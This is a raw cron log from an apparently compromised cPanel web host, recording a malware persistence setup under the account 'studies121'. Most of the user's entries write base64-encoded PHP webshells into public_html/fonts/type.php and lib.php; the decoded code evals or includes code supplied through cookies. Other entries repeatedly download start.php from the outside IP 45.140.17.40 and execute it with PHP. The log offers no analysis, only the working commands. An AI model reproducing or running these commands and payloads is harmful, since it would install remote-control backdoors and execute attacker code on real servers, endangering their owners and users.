Sep  3 12:36:01 ip-184-168-122-23 CROND[6868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:36:01 ip-184-168-122-23 CROND[6870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:36:01 ip-184-168-122-23 CROND[6869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:36:01 ip-184-168-122-23 CROND[6871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:36:01 ip-184-168-122-23 CROND[6872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:37:01 ip-184-168-122-23 CROND[7035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:37:01 ip-184-168-122-23 CROND[7037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:37:01 ip-184-168-122-23 CROND[7036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:37:01 ip-184-168-122-23 CROND[7039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:38:01 ip-184-168-122-23 CROND[7132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:38:01 ip-184-168-122-23 CROND[7135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:38:01 ip-184-168-122-23 CROND[7134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:38:01 ip-184-168-122-23 CROND[7137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:38:01 ip-184-168-122-23 CROND[7136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:39:01 ip-184-168-122-23 CROND[7226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:39:02 ip-184-168-122-23 CROND[7230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:39:02 ip-184-168-122-23 CROND[7228]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 12:39:02 ip-184-168-122-23 CROND[7229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:39:02 ip-184-168-122-23 CROND[7231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:40:01 ip-184-168-122-23 CROND[7334]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 12:40:01 ip-184-168-122-23 CROND[7335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:40:01 ip-184-168-122-23 CROND[7337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:40:01 ip-184-168-122-23 CROND[7338]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:40:01 ip-184-168-122-23 CROND[7340]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:40:01 ip-184-168-122-23 CROND[7341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:40:01 ip-184-168-122-23 CROND[7345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:40:01 ip-184-168-122-23 CROND[7342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:41:01 ip-184-168-122-23 CROND[7442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:41:01 ip-184-168-122-23 CROND[7444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:41:01 ip-184-168-122-23 CROND[7446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:41:01 ip-184-168-122-23 CROND[7445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:42:01 ip-184-168-122-23 CROND[7522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:42:01 ip-184-168-122-23 CROND[7524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:42:01 ip-184-168-122-23 CROND[7528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:42:01 ip-184-168-122-23 CROND[7527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:42:01 ip-184-168-122-23 CROND[7529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:43:01 ip-184-168-122-23 CROND[7654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:43:01 ip-184-168-122-23 CROND[7655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:43:01 ip-184-168-122-23 CROND[7658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:43:01 ip-184-168-122-23 CROND[7660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:44:02 ip-184-168-122-23 CROND[7864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:44:02 ip-184-168-122-23 CROND[7863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:44:02 ip-184-168-122-23 CROND[7867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:44:02 ip-184-168-122-23 CROND[7866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:44:02 ip-184-168-122-23 CROND[7865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:45:01 ip-184-168-122-23 CROND[8003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:45:01 ip-184-168-122-23 CROND[8005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:45:01 ip-184-168-122-23 CROND[8011]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  3 12:45:01 ip-184-168-122-23 CROND[8008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:45:01 ip-184-168-122-23 CROND[8012]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:45:01 ip-184-168-122-23 CROND[8010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:45:01 ip-184-168-122-23 CROND[8009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:46:01 ip-184-168-122-23 CROND[8109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:46:01 ip-184-168-122-23 CROND[8111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:46:01 ip-184-168-122-23 CROND[8112]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 12:46:01 ip-184-168-122-23 CROND[8115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:46:01 ip-184-168-122-23 CROND[8114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:46:01 ip-184-168-122-23 CROND[8116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:46:01 ip-184-168-122-23 CROND[8113]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 12:47:01 ip-184-168-122-23 CROND[8206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:47:01 ip-184-168-122-23 CROND[8209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:47:01 ip-184-168-122-23 CROND[8207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:47:01 ip-184-168-122-23 CROND[8210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:48:01 ip-184-168-122-23 CROND[8296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:48:01 ip-184-168-122-23 CROND[8298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
